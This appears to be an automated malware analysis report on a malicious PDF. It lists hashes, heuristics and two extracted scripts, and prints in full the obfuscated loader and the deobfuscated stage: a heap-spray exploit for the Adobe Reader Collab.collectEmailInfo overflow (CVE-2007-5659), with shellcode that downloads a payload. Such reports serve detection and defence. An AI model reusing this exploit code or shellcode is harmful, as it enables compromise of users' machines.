Malicious PDF — malware analysis report

Static analysis result for SHA-256 c2f23ccc7ceb3320…

MALICIOUS

PDF

19.9 KB Created: 2012-11-13 12:42:59 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: fcc841c6a38e6f9ffb7c5b31d05b90cd SHA-1: 60a80e9a0d426d77d7236a75dd51527922d709ff SHA-256: c2f23ccc7ceb3320ac1677cb141948f91a3497b47ab11ec00dca9074bf738566
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML_NYX_PDF_MALICIOUS heuristic with a high score strongly suggests malicious intent. The embedded JavaScript file, 'javascript_obj0106_000.js', is the primary indicator of malicious activity, likely serving to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x4C0E 1427 bytes
SHA-256: 0e5e5d6d529e0ba9e3cc1862a63dd2459c2a675a5f7d5e650670f78e29c1ae19
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'kjghftefa2oiuwgf78awtfe6789qt34789tfg789') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var ergrewgregerg = "f"+"g"+"hijk";
var xcvbergger34gr = ':AB'+'CDEFG';
var bxcvn45tygsre = "UVWXYZ{}";
var rve34f3ewsg = "()[]^abc"+"de";
var ouypr5ujhrds = 'pqrs'+'tuvwxyz_';
var yuyti6kyui567y7r = '456'+'78';
var ndgsb34egvw4e = '"=<'+'>&\\';
function xzcbcvb53gerg(xcbcvbn54tygre){
var xbcv3gferg="";
var cxvbdg54gr4e = 39;
for (var i = 0;i<xcbcvbn54tygre.length-(15-14);i++)
{var gretg345ge = xcbcvbn54tygre[i];
var ghuidysgfoits34b=vfbef34few.indexOf(gretg345ge)-cxvbdg54gr4e;
var cvxn53tgr4eg= ghuidysgfoits34b+vfbef34few.length;
if (ghuidysgfoits34b<(10-10)){ghuidysgfoits34b=cvxn53tgr4eg}
xbcv3gferg += vfbef34few.charAt(ghuidysgfoits34b)}
return xbcv3gferg;}
var cvnbv54ywefsw = '9/!%+-*'+'.,;';
var saafrgrt54gred = ergrewgregerg+"lm"+"no"+ouypr5ujhrds+'0123'+yuyti6kyui567y7r+cvnbv54ywefsw+ndgsb34egvw4e;
var kjiuotynj4htre = "QRST"+bxcvn45tygsre+' '+rve34f3ewsg+saafrgrt54gred;
var mkiuoyj56rhr = xcvbergger34gr +'HIJKLMNOP';
var bn45tygder = mkiuoyj56rhr+kjiuotynj4htre;
var vfbef34few =bn45tygder;
var dsaasdfg54gred=getField("WSWSWS");
var mnbmt56hdretg=dsaasdfg54gred.value;
var poiuytrfj5r6hr = xzcbcvb53gerg(mnbmt56hdretg);
var tgbtgnyhunjy = "hauaiyh9iryh98wyf98awyf89sdayfp89aewyf89wey9wev"+"alrgwrgqr3ewgergvaebgegaehergg";
var kjghftefa2oiuwgf78awtfe6789qt34789tfg789wrtf789ewtfw789qe6f789 = tgbtgnyhunjy.substr(45,4);
app[kjghftefa2oiuwgf78awtfe6789qt34789tfg789wrtf789ewtfw789qe6f789](poiuytrfj5r6hr);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 39) at offset 0x4E1 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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